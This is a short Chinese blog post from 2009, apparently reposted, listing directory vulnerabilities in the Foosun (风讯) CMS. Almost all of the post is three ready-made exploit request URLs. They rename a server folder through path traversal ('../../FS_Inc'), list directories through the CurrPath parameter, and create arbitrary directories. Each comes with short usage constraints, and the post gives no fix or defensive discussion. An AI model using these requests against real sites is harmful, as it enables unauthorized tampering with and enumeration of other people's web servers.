posts - 20, comments - 0, trackbacks - 0, articles - 2
  C++博客 :: 首页 :: 新随笔 :: 联系 :: 聚合  :: 管理

[导入]风讯所有版本多个目录相关漏洞

Posted on 2009-11-11 23:43 baicker 阅读(105) 评论(0)  编辑 收藏 引用
目录更名（新目录不能包含点）
/User/FileManage.asp?Type=FolderReName&OldFileName=../../FS_Inc&NewFileName=009

目录浏览（CurrPath不能包含点）
/Foosun500/User/CommPages/FolderImageList.asp?CurrPath=/userfiles/&ShowVirtualPath=&f_UserNumber=1210538AD00


创建目录xxxx（CurrPath不能包含点）
/User/CommPages/FolderImageList.asp?CurrPath=/userfiles/xxxx&ShowVirtualPath=&f_UserNumber=1210538AD00

009 2009-11-11 23:43 发表评论

文章来源:http://www.blogjava.net/baicker/archive/2009/11/11/302036.html

只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   知识库   博问   管理